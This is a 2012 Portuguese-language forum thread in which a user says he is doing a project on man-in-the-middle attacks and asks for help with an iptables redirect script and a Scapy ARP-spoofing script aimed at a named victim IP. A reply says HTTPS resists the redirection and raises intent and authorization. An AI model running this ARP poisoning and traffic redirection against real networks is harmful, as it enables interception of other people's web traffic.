Paros Proxy (MitM Proxy) + IPtables

Iniciado por z3cU3c4, 26 de Abril de 2012, 16:29

tópico anterior - próximo tópico

z3cU3c4


Olá pessoal, estou fazendo um trabalho sobre man in the middle e meu objetivo é fazer com que o tráfego de dados entre uma máquina e um gateway seja interceptado e analisado e ou modificado pelo Paros Proxy.

Para máquinas locais é bem fácil configurar o paros proxy, basta configurar em qual PROXY virtual o Paros vai escutar, o padrão é localhost:8080 e depois ir no navegador e configurar para ele usar o proxy localhost:8080. Estou usando a config padrão.

O problema é que quero fazer isso em uma máquina que está na mesma rede que está mandando seus pacotes para o atacante achando que está enviado para o gateway.

Agora é que entra o IPTABLES, para fazer com que esses pacotes quando cheguem na maquina atacante eles sejam redirecionados para a porta onde o paros está escutando.

Estou usando essas configurações mas não está funcionando, gostaria da ajuda de vocês para poder fazer essa configuração:





#!/bin/sh

INTERFACE="eth0" #Especificando a Interface

SERVERWEB='192.168.1.11' #IP atacante TENTEI COLOCAR DEPOIS DO IP A PORTA 8080 mas não funcionou

echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects

#Limpando o iptables
iptables --flush
iptables --zero
iptables --delete-chain
iptables -F -t nat

iptables --append FORWARD --in-interface $INTERFACE --jump ACCEPT
iptables --table nat --append POSTROUTING --out-interface $INTERFACE --jump MASQUERADE

#rendirecionando o trafego.. no meu server/proxy
iptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination $SERVERWEB
iptables -t nat -A PREROUTING -p tcp --dport 443 --jump DNAT --to-destination $SERVERWEB



Estou seguindo esse artigo do clshack
http://www.clshack.com/en/arp-poisoning-scapy-web-request-spoofed-paros-proxy-on-backbox.html

Máquina Atacante: Ubuntu
Vítima: Debian 6


SCRIPT PARA GERAR OS PACOTES ARP FALSOS:


#Script usando o programa SCAPY

from scapy.all import *;
from time import sleep;
conf.iface='eth0';#network card XD

target="192.168.1.153";#Alvo / Vitima

router="192.168.1.1";#router

packet = ARP(); #create packet :P

packet.psrc = router # Gateway

packet.pdst = target # victim v.v

try:
while 1:
send(packet, verbose=0);
sleep(50);
except:
pass



Obrigado pela atenção desde já,
Eric Lúcio

zekkerj

Olá Eric,

Não há diferença entre o que vc quer fazer e um proxy transparente. Aliás, a idéia é essa mesma: o proxy transparente age sem solicitação da origem. A única diferença entre ele e um MITM é que está sendo feito pelo administrador. Mas se levar a fundo, não há diferença, tanto é que HTTPS nem funciona com proxy transparente --- as pontas detectam a tentativa de redirecionamento como um ataque contra a segurança da conexão.
Pesquise antes de perguntar, sua dúvida pode já ter sido respondida.
Não respondo dúvidas por MP, coloque sua dúvida no fórum onde ela pode ser pesquisada pelos seus colegas!
Não venha ao fórum apenas para perguntar. Se você sabe a resposta de um problema, porque não ajudar seu colega? ;D

z3cU3c4

Olá zekerj,

Então para "atacar" uma lan bastaria configurar um proxy transparente para os pacotes serem direcionados a uma máquina promíscua, daria certo do mesmo jeito?

No caso da configuração do Iptables tem alguma coisa que pode estar errado?

Valeu,

zekkerj

Se vc domina o gateway dessa rede, pode desviar qualquer fluxo de dados entrando/saindo da rede.

Sobre alguma coisa dar errado no iptables, com certeza há muitas coisas que podem dar errado... o que vc tem que ver, no caso, é a intenção de quem está fazendo a configuração, e a autorização --- se a pessoa pode ou não fazer o que está fazendo.
Pesquise antes de perguntar, sua dúvida pode já ter sido respondida.
Não respondo dúvidas por MP, coloque sua dúvida no fórum onde ela pode ser pesquisada pelos seus colegas!
Não venha ao fórum apenas para perguntar. Se você sabe a resposta de um problema, porque não ajudar seu colega? ;D